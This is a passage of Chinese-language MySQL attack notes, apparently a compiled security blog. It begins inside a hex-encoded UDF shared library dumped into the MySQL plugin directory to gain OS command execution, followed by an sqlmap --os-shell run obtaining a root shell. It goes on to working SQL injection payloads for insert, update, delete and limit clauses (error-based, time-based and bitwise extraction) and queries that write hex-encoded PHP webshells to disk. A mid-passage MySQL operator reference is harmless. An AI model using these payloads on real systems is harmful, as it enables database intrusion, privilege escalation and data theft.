00000000000000000000000000000000000000000000000000000000000000000001B0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B801000000000000B801000000000000B400000000000000030000000000000008000000000000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E805000000000000E8050000000000009D0100000000000000000000000000000100000000000000000000000000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A0000000000000003000000000000000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000F007000000000000F00700000000000060000000000000000300000000000000080000000000000018000000000000006E000000040000000200000000000000500800000000000050080000000000003801000000000000030000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010000000600000000000000A009000000000000A009000000000000E0000000000000000000000000000000040000000000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C80600000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000481100000000000048110000000000000E000000000000000000000000000000040000000000000000000000000000008A00000001000000020000000000000058110000000000005811000000000000EC0000000000000000000000000000000800000000000000000000000000000092000000010000000200000000000000441200000000000044120000000000008400000000000000000000000000000004000000000000000000000000000000A0000000010000000200000000000000C812000000000000C812000000000000FC01000000000000000000000000000008000000000000000000000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B8000000010000000300000000000000E814200000000000E8140000000000000800000000000000000000000000000008000000000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F814200000000000F8140000000000008001000000000000040000000000000008000000000000001000000000000000D3000000010000000300000000000000781620000000000078160000000000001800000000000000000000000000000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000000000008000000000000000000000000000000008000000000000000800000000000000E1000000080000000300000000000000101720000000000010170000000000001000000000000000000000000000000008000000000000000000000000000000E60000000100000030000000000000000000000000000000101700000000000059000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C00000008000000000000001800000000000000090000000300000000000000000000000000000000000000C02600000000000042030000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200B80100000000000000000000000000000000000003000300700200000000000000000000000000000000000003000400E80500000000000000000000000000000000000003000500860700000000000000000000000000000000000003000600D00700000000000000000000000000000000000003000700F00700000000000000000000000000000000000003000800500800000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C00481100000000000000000000000000000000000003000D00581100000000000000000000000000000000000003000E00441200000000000000000000000000000000000003000F00C81200000000000000000000000000000000000003001000C81420000000000000000000000000000000000003001100D81420000000000000000000000000000000000003001200E81420000000000000000000000000000000000003001300F01420000000000000000000000000000000000003001400F81420000000000000000000000000000000000003001500781620000000000000000000000000000000000003001600901620000000000000000000000000000000000003001700101720000000000000000000000000000000000003001800000000000000000000000000000000000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000000000000000000000000001C00000001001000C81420000000000000000000000000002A00000001001100D81420000000000000000000000000003800000001001200E81420000000000000000000000000004500000002000B00A00A00000000000000000000000000005B00000001001700101720000000000001000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B0000000000000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D01420000000000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E8142000000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF00000000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000000000000000000000000000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D01000020000000000000000000000000000000000000004101000012000C00481100000000000000000000000000004701000012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B01000012000000000000000000000000000000000000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0000000000005501000000000000960100001200000000000000000000000000000000000000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F100000000000000D30100001200000000000000000000000000000000000000E50100001200000000000000000000000000000000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B00000000000049000000000000002802000022000000000000000000000000000000000000004402000012000B00A60D0000000000002B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C0000000000000A000000000000006F02000012000000000000000000000000000000000000008302000012000B00420F0000000000006700000000000000910200001200000000000000000000000000000000000000A50200001200000000000000000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF10172000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B00090F0000000000000A000000000000000D0300001200000000000000000000000000000000000000220300001000F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C03000012000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005F474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';
Query OK, 1 row affected (0.01 sec)#需要有/usr/lib64/mysql/plugin/目录的写入权限

mysql> create function sys_eval returns string soname 'mysqludf.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql
             |
+--------------------+
1 row in set (0.03 sec)

mysql> select * from func;
+----------+-----+-------------+----------+
| name     | ret | dl          | type     |
+----------+-----+-------------+----------+
| sys_eval |   0 | mysqludf.so | function |
+----------+-----+-------------+----------+
1 row in set (0.00 sec)

mysql> drop function sys_eval;
Query OK, 0 rows affected (0.00 sec)

mysql> select * from func;
Empty set (0.00 sec)

 

限制条件:

1)mysql root账号弱口令

2)mysql启动账户需要有插件目录的写入权限,例如yum安装的mysql

[root@template tmp]# ls -ald /usr/lib64/mysql/plugin

drwxr-xr-x. 2 root root 4096 4月  25 08:33 /usr/lib64/mysql/plugin

而mysql的默认启动账户是mysql,是没有写入权限的。

 

另外UDF提权可以直接使用sqlmap -d参数执行
语法为:” DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME” 或者是”DBMS://DATABASE_FILEPATH”。
[1]dbms:代表所使用的数据库,如我们这里是mysql
[2]user:对应我们数据库的用户,如我们这里是root
[3]password:对应我们数据的密码,如我的服务器为Hehe123456
[4]dbma_IP:数据库服务器对应的ip地址,如我这里为192.168.192.120
[5]dbms_PORT:数据服务器所使用的端口
[6]database_NAME:你要使用的数据库名

这里直接使用Kali下的Sqlmap验证:

root@kali:~# sqlmap -d "mysql://root:Hehe123456@192.168.192.120:3306/test" --os-shell
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.1.3#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 16:56:51

[16:56:51] [INFO] connection to mysql server 192.168.192.120:3306 established
[16:56:51] [INFO] testing MySQL
[16:56:51] [INFO] confirming MySQL
[16:56:51] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[16:56:51] [INFO] fingerprinting the back-end DBMS operating system
[16:56:51] [INFO] the back-end DBMS operating system is Linux
[16:56:51] [WARNING] (remote) (_mysql_exceptions.OperationalError) (1051, "Unknown table 'sqlmapfile'")
[16:56:51] [WARNING] (remote) (_mysql_exceptions.OperationalError) (1051, "Unknown table 'sqlmapfilehex'")
[16:56:51] [INFO] testing if current user is DBA
[16:56:51] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 2
[16:56:57] [INFO] checking if UDF 'sys_eval' already exist
[16:56:57] [INFO] checking if UDF 'sys_exec' already exist
[16:56:57] [INFO] detecting back-end DBMS version from its banner
[16:56:57] [INFO] retrieving MySQL plugin directory absolute path
[16:56:57] [WARNING] (remote) (_mysql_exceptions.OperationalError) (1051, "Unknown table 'sqlmapfile'")
[16:56:58] [INFO] the local file '/tmp/sqlmap6szFlF1831/lib_mysqludf_syswZxteE.so' and the remote file '/usr/lib64/mysql/plugin/libsmuur.so' have the same size (8040 B)
[16:56:58] [WARNING] (remote) (_mysql_exceptions.OperationalError) (1051, "Unknown table 'sqlmapfilehex'")
[16:56:58] [INFO] creating UDF 'sys_eval' from the binary UDF file
[16:56:58] [WARNING] (remote) (_mysql_exceptions.OperationalError) (1305, 'FUNCTION test.sys_eval does not exist')
[16:56:58] [INFO] creating UDF 'sys_exec' from the binary UDF file
[16:56:58] [WARNING] (remote) (_mysql_exceptions.OperationalError) (1305, 'FUNCTION test.sys_exec does not exist')
[16:56:58] [WARNING] (remote) (_mysql_exceptions.OperationalError) (1051, "Unknown table 'sqlmapoutput'")
[16:56:58] [INFO] going to use injected sys_eval and sys_exec user-defined functions for operating system command execution
[16:56:58] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:    'root'

【SQL注入】insert和update注入利用位运算符

我们先来假设insert和update有两个以上的列,并且我们是知道列数和列名的,表结构如下:

mysql> select * from users;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | test | root@localhost |
| 2 | 0 | 123456 |
| 3 | 0 | pass |
| 4 | 0 | 0 |
+----+----------+----------------+
4 rows in set (0.00 sec)

insert

insert into users values (5,'{inject here}','password');

我们可以构造payload:

vinc',(select group_concat(distinct table_name) from information_schema.tables where table_schema = database()))-- -
mysql> select * from users where id = 5;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 5 | vinc | test,users |
+----+----------+------------+
1 row in set (0.00 sec)

 

update

update users set username='{injecthere}',password='pass' where id = 4;

我们可以构造payload:

vincent',password=(select group_concat(distinct table_name) from information_schema.tables where table_schema = database()) where id=4-- -
mysql> select * from users where id = 4;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 4 | vincent | test,users |
+----+----------+------------+
1 row in set (0.00 sec)

 

而如果insert和update只有一列的话,上面这种方式就不适用了。
这里可以利用位或运算符|或者位异或运算符^。
例如存在注入的环境如下:

insert into users values (17,'james', '{injecthere}');
update users set username='{injecthere}' where id = 4;

将字符串转换为整数:
String -> Hexadecimal -> Decimal

mysql> select conv(hex(version()), 16, 10);
+--------------------------------+
| conv(hex(version()), 16, 10) |
+--------------------------------+
| 58472576987956 |
+--------------------------------+

Decimal -> Hexadecimal -> String

mysql> select unhex(conv(58472576987956, 10, 16));
+-------------------------------------+
| unhex(conv(58472576987956, 10, 16)) |
+-------------------------------------+
| 5.5.34 |
+-------------------------------------+

需要注意的是,字符串的最大长度为8

mysql> select conv(hex('xxxxxxxx'), 16, 10);
+-------------------------------+
| conv(hex('xxxxxxxx'), 16, 10) |
+-------------------------------+
| 8680820740569200760 |
+-------------------------------+
1 row in set (0.00 sec)

当超过8位时,就是BIGINT的最大值

mysql> select conv(hex('xxxxxxxxx'), 16, 10);
+--------------------------------+
| conv(hex('xxxxxxxxx'), 16, 10) |
+--------------------------------+
| 18446744073709551615 |
+--------------------------------+
1 row in set (0.00 sec)

所以只能够每8位依次读取

select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);
mysql> select conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10);
+--------------------------------------------------------+
| conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10) |
+--------------------------------------------------------+
| 8245931987826405219 |
+--------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select conv(hex(substr(user(),1 + (2-1) * 8, 8 * 2)), 16, 10);
+--------------------------------------------------------+
| conv(hex(substr(user(),1 + (2-1) * 8, 8 * 2)), 16, 10) |
+--------------------------------------------------------+
| 107118236496756 |
+--------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select concat(unhex(conv(8245931987826405219, 10, 16)),unhex(conv(107118236496756, 10,16)));
+--------------------------------------------------------------------------------------+
| concat(unhex(conv(8245931987826405219, 10, 16)),unhex(conv(107118236496756, 10,16))) |
+--------------------------------------------------------------------------------------+
| root@localhost |
+--------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

我们可以利用位或运算符|构造payload如下:

' | conv(hex(database()), 16, 10) | '
mysql> insert into users values (22,'james', '' | conv(hex(database()), 16, 10) | '');
Query OK, 1 row affected, 2 warnings (0.00 sec)
mysql> select * from users where id = 22;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 22 | james | 1952805748 |
+----+----------+------------+
1 row in set (0.00 sec)

然后我们转换为字符串

mysql> select unhex(conv(1952805748, 10,16));
+--------------------------------+
| unhex(conv(1952805748, 10,16)) |
+--------------------------------+
| test |
+--------------------------------+
1 row in set (0.00 sec)

同样可以使用位异或运算符^

mysql> insert into users values (23,'james', '' ^ conv(hex(database()), 16, 10) ^ '');
Query OK, 1 row affected, 2 warnings (0.00 sec)
mysql> select * from users where id = 23;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 23 | james | 1952805748 |
+----+----------+------------+
1 row in set (0.00 sec)

Limitations in MySQL 5.7
这种工作方式在5.7.5之后的版本无法使用。

mysql> select version();
+-----------+
| version() |
+-----------+
| 5.7.17 |
+-----------+
1 row in set (0.00 sec)
mysql> insert into user(user,host) values ('vincent','xx' | conv(hex(database()), 16, 10));
ERROR 1292 (22007): Truncated incorrect INTEGER value: 'xx'

因为在之后的版本Mysql默认是工作在Strict SQL Mode。在MySQL 5.7.17中,默认的SQL模式包括“strict_trans_tables”。

mysql> SELECT @@SESSION.sql_mode\G
*************************** 1. row ***************************
@@SESSION.sql_mode: ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION
1 row in set (0.00 sec)

如果要解决这个问题,必须注入整数才能成功。

mysql> describe user;
+----------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+-------+
| id | int(11) | YES | | NULL | |
| username | varchar(500) | YES | | NULL | |
| password | varchar(500) | YES | | NULL | |
+----------+--------------+------+-----+---------+-------+
3 rows in set (0.00 sec)
mysql> insert into user values (0,'0' | conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)),16, 10),'pass');
Query OK, 1 row affected (0.04 sec)
mysql> select * from user;
+------+---------------------+----------+
| id | username | password |
+------+---------------------+----------+
| 0 | 8245931987826405219 | pass |
+------+---------------------+----------+
1 row in set (0.01 sec)

参考文章


https://xianzhi.aliyun.com/forum/read/729.html?fpage=4
https://osandamalith.com/2017/02/08/mysql-injection-in-update-insert-and-delete/

【SQL注入】insert、update和delete报错注入

insert


这里我们用updatexml来演示
使用逻辑运算符(and or xor && ||)

mysql> insert into users values (3,'name' xor updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'
mysql> insert into users values (5,'name' and updatexml(2,concat(0x7e,(version())),0) and '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

使用算数运算符(+ – * /)

mysql> insert into users values (3,'name'+updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'
mysql> insert into users values (3,'name'*updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

使用位运算符连接(| &)

mysql> insert into users values (3,'name'&updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'
mysql> insert into users values (3,'name'|updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

update


mysql> update users set username = 'name' and updatexml(2,concat(0x7e,(version())),0) and '' where id = 5;
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

delete


mysql> delete from users where id = 5 or updatexml(2,concat(0x7e,(version())),0) or '';
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

 

这里需要注意,insert和delete都可以读取当前表的数据,但是update不行,因为在update的子查询中不能出现相同的表名。
使用insert获取当前表的数据,如下:

mysql> insert into users values (5,'name' or updatexml(2,concat(0x7e,(select concat_ws(0x7e,id,username,password) from users limit 0,1)),0) or '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~1~0~root@localhost'

使用delete获取当前表的数据,如下:

mysql> delete from users where id = 5 or updatexml(2,concat(0x7e,(select concat_ws(0x7e,id,username,password) fromusers limit 0,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~1~0~root@localhost'

而使用update获取不到,如下:

mysql> update users set username = 'test' or updatexml(2,concat(0x7e,(select concat_ws(0x7e,id,username,password) from users limit 0,1)),0) where id = 5;
ERROR 1093 (HY000): You can't specify target table 'users' for update in FROM clause

这里可以使用:

mysql> update users set username = 'test' or updatexml(2,concat(0x7e,(select concat_ws(0x7e,id,username,password) f
rom (select * from users)xx limit 0,1)),0) where id = 5;
ERROR 1105 (HY000): XPATH syntax error: '~1~test~root@localhost'

或者用主键重复的报错注入也可以

mysql> update users set username = 'test' and (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT concat_ws(0x7e,id,username,password) FROM users LIMIT 0,1) ) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) and '' where id = 5;
ERROR 1062 (23000): Duplicate entry '1~0~root@localhost1' for key 'group_key'

当然我们之前也介绍过报错注入的姿势,用其他的报错语句同样可以达到效果。

参考文章


http://static.hx99.net/static/drops/tips-2078.html

【SQL注入】insert、update和delete时间盲注

测试表结构如下:

mysql> select * from users;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
| 2 | 0 | 123456 |
+----+----------+----------------+
2 rows in set (0.00 sec)

insert


使用逻辑运算符(and or xor && ||)连接如下:
需要注意如果使用And或者&&的话,这里分为两种情况
1)存在注入的字段为字符型。

insert : insert into users values (1,'{injecthere}','password');

那么逻辑运算符不能使用and和&&,可以使用or || xor , 因为字符型在进行逻辑运算时会当做0来处理,所以无法执行and后的sleep。

mysql> insert into users values (5,'name' and sleep(2),'pass');
Query OK, 1 row affected, 1 warning (0.00 sec)

可以看到没有延迟。

2)存在注入的字段为Int型。

insert into users values ({injecthere},'Vinc','password');

这里可以使用and && || or xor。
需要注意如果逻辑运算符使用And或者&&,那么注入的数不能为0。

mysql> insert into users values (-1 and sleep(2),'vinc','password');
Query OK, 1 row affected (2.00 sec)

可以看到延迟2S。

mysql> insert into users values (0 and sleep(2),'vinc','password');
Query OK, 1 row affected (0.00 sec)

可以看到没有延迟。

一般建议使用or || xor测试

mysql> insert into users values (18,'vinc' xor sleep(2),'password');
Query OK, 1 row affected, 1 warning (2.00 sec)

 

使用算数运算符(+ – * /)连接如下

mysql> insert into users values (4,'name'+sleep(2),'pass');
Query OK, 1 row affected, 1 warning (2.00 sec)
mysql> insert into users values (8,'name'*sleep(2),'pass');
Query OK, 1 row affected, 1 warning (2.00 sec)
mysql> select * from users where id = 8 ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | 0 | pass |
+----+----------+----------+
1 row in set (0.00 sec)

这里插入的username为0

 

使用位运算符连接(| &)如下

mysql> insert into users values (12,'vinc' | sleep(2),'password');
Query OK, 1 row affected, 1 warning (2.00 sec)
mysql> insert into users values (13,'vinc' & sleep(2),'password');
Query OK, 1 row affected, 1 warning (2.00 sec)

update


和insert的用法相同。

update users set username = '{injecthere}' where id = 1;

mysql> update users set password = 'Vinc' or sleep(2) where id = 4;
Query OK, 0 rows affected, 1 warning (2.00 sec)
Rows matched: 1 Changed: 0 Warnings: 1
mysql> update users set password = 'Vinc' or if(ord(substr(version()from(1)for(1)))=53,sleep(2),1) where id = 4;
Query OK, 0 rows affected, 1 warning (2.00 sec)
Rows matched: 1 Changed: 0 Warnings: 1

delete


delete : delete from users where id > {injecthere} ;

delete的注入位置位于where后所以和select是一样的。

mysql> delete from users where id = 5 and sleep(2);
Query OK, 0 rows affected (2.00 sec)

因为sleep()函数返回0,所以这里无法删除成功。

参考文章


https://osandamalith.com/2017/03/13/mysql-blind-injection-in-insert-and-update-statements/

MySQL 常用运算符

算数运算符



mysql> select 1+2;

mysql> select 2-1;

mysql> select 2*3;

mysql> select 5/3;

mysql> SELECT 5 DIV 2;

mysql> select 5%2,mod(5,2);

比较运算符


等于
mysql> select 1=0,1=1,null=null;
不等于
mysql> select 1<>0,1<>1,null<>null;
安全等于
mysql> select 1<=>1,2<=>0,0<=>0,null<=>null;
小于
mysql> select ‘a'<‘b’,’a'<‘a’,’a'<‘c’,1<2;
小于等于
mysql> select ‘bdf'<=’b’,’b'<=’b’,0<1;
大于
mysql> select ‘a’>’b’,’abc’>’a’,1>0;
大于等于
mysql> select ‘a’>=’b’,’abc’>=’a’,1>=0,1>=1;
BETWEEN
mysql> select 10 between 10 and 20, 9 between 10 and 20;
IN
mysql> select 1 in (1,2,3), ‘t’ in (‘t’,’a’,’b’,’l’,’e’), 0 in (1,2);
IS NULL
mysql> select 0 is null,null is null;
IS NOT NULL
mysql> select 0 is not null, null is not null;
LIKE
mysql> select 123456 like ‘123%’, 123456 like ‘%123%’, 123456 like ‘%321%’;
REGEXP
mysql> select ‘abcdef’ regexp ‘ab’, ‘abcdefg’ regexp ‘k’;

逻辑运算符



mysql> select not 0, not 1, not null;
mysql> select ! 0, ! 1, ! null;

mysql> select (1 and 1), (0 and 1), (3 and 1), (1 and null);
mysql> select (1 && 1), (0 && 1), (3 && 1), (1 && null);

mysql> select (1 or 0), (0 or 0), (1 or null), (1 or 1), (null or null);
mysql> select (1 || 0), (0 || 0), (1 || null), (1 || 1), (null || null);
异或
mysql> select (1 xor 1), (0 xor 0), (1 xor 0), (0 xor 1), (null xor 1);
两者满足其一,不同时满足。

位运算符


位与
mysql> select 2&3;
mysql> select 2&3&4;
参加运算的两个数据,按二进制位进行“与”运算。
运算规则:0&0=0; 0&1=0; 1&0=0; 1&1=1;
即:两位同时为“1”,结果才为“1”,否则为0
例如:3&5 即 0000 0011 & 0000 0101 = 0000 0001 因此,3&5的值得1。

位或
mysql> select 2|3;
参加运算的两个对象,按二进制位进行“或”运算。
运算规则:0|0=0; 0|1=1; 1|0=1; 1|1=1;
即 :参加运算的两个对象只要有一个为1,其值为1。
例如:3|5 即 0000 0011 | 0000 0101 = 0000 0111 因此,3|5的值得7。

位异或
mysql> select 2^3;
参加运算的两个数据,按二进制位进行“异或”运算。
运算规则:0^0=0; 0^1=1; 1^0=1; 1^1=0;
即:参加运算的两个对象,如果两个相应位为“异”(值不同),则该位结果为1,否则为0。

位取反
mysql> select ~0;
+———————-+
| ~0 |
+———————-+
| 18446744073709551615 |
+———————-+
1 row in set (0.00 sec)

位右移
mysql> select 100>>3;
将一个运算对象的各二进制位全部右移若干位,a >> 2 将a的二进制位右移2位,右边丢弃。
mysql> select 9 >> 2 ;
+——–+
| 9 >> 2 |
+——–+
| 2 |
+——–+
1 row in set (0.00 sec)

位左移
mysql> select 100<<3;
将一个运算对象的各二进制位全部左移若干位,a << 2 将a的二进制位左移2位,右补0。
mysql> select 3 << 2 ;
+——–+
| 3 << 2 |
+——–+
| 12 |
+——–+
1 row in set (0.00 sec)

运算符优先级顺序


最高优先级 :=
1 ||, OR, XOR
2 &&, AND
3 BETWEEN, CASE, WHEN, THEN, ELSE
4 =, <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN
5 |
6 &
7 <<, >>
8 -, +
9 *, /, DIV, %, MOD
10 ^
11 – (unary minus), ~ (unary bit inversion)
12 !, NOT
最低优先级 BINARY, COLLATE

【SQL注入】mysql limit 注入

1)无order by
可以使用union select,例如:

mysql> SELECT 1 from mysql.user limit 0,1 union select 234;
+-----+
| 1 |
+-----+
| 1 |
| 234 |
+-----+
2 rows in set (0.00 sec)

GETSHELL:

mysql> SELECT 1 from mysql.user limit 0,1 union select 0x3c3f706870206576616c28245f504f53545b277a275d293b3f3e from mysql.user into outfile '/tmp/z.php';
Query OK, 2 rows affected (0.00 sec)

2)有order by
UNION语句不能在ORDER BY的后面,如下所示:

mysql> SELECT 1 from mysql.user order by 1 limit 0,1 union select 234;
ERROR 1221 (HY000): Incorrect usage of UNION and ORDER BY

我们可以使用PROCEDURE ANALYSE,通过分析select查询结果对现有的表的每一列给出优化的建议。

支持报错

mysql> SELECT 1 from mysql.user order by 1 limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 
ERROR 1105 (HY000): XPATH syntax error: ':5.1.73-log'

不支持报错,用time-based

mysql> SELECT 1 from mysql.user order by 1 limit 0,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(50000000,SHA1(1)),1))))),1);
ERROR 1105 (HY000): XPATH syntax error: ':0'

注意这里不能用sleep而只能用benchmark。

GETSHELL:

mysql> SELECT 1 from mysql.user order by 1 limit 0,1 into outfile '/tmp/2.php' LINES TERMINATED BY 0x3C3F7068702061737365727428245F504F53545B70765D293B3F3E;
Query OK, 1 row affected (0.00 sec)

【SQL注入】报错注入姿势总结

主键重复:

mysql> select host from user where user = 'root' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.731' for key 'group_key'

mysql> select * from users where id = 1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1;
ERROR 1062 (23000): Duplicate entry '5.5.40-log~1' for key 'group_key'

整形溢出:

select host from user where user = 'root' and Exp(~(select * from (select version())a));
#1690 - DOUBLE value is out of range in 'exp(~((select '5.5.40-log' from dual)))'

需要注意从5.5.5版本后整形溢出才会报错。


xpath处理函数(extractvalue和updatexml):

从mysql5.1.5开始提供两个XML查询和修改的函数,其中extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容。

mysql> select * from mysql.user where user = 'root' and extractvalue(1,concat(0x5c,user()));
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'
mysql> select * from mysql.user where user = 'root' and updatexml(1,concat(0x5c,user()),1);
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'

这里有一点需要注意:
concat(0x5c,user())如果不加concat的话获取到的信息是不全的。

mysql> select * from mysql.user where user = 'root' and extractvalue(1,version());
ERROR 1105 (HY000): XPATH syntax error: '.40-log'

如果concat被过滤了,可以使用其他函数代替

1)MAKE_SET(bits,str1,str2,…)

mysql> SELECT MAKE_SET(1,'a','b','c');

-> 'a'

1为0001,倒过来排序,则为1000,将bits后面的字符串str1,str2等,放置在这个倒过来的二进制排序中,取出值为1对应的字符串,则得到hello

mysql> SELECT MAKE_SET(1 | 4,'hello','nice','world');

-> 'hello,world'

1|4表示进行位或运算,为0001 | 0100,得0101,倒过来排序,为1010,则’hello’,’nice’,’world’得到的是hello word。

mysql> select * from mysql.user where user = 'root' and extractvalue(1,make_set(3,'~',version()));

ERROR 1105 (HY000): XPATH syntax error: '~,5.5.40-log'

2)lpad()

用字符串 padstr对 str进行左边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len’,那么它将被截除到 len个字符。

mysql> SELECT LPAD('hi',4,'??'); -> '??hi'

mysql> select * from mysql.user where user = 'root' and extractvalue(1,lpad((version()),20,'@'));

ERROR 1105 (HY000): XPATH syntax error: '@@@@@@@@@5.5.40-log'

3)repeat()

mysql> select * from mysql.user where user = 'root' and extractvalue(1,repeat((version()),2));

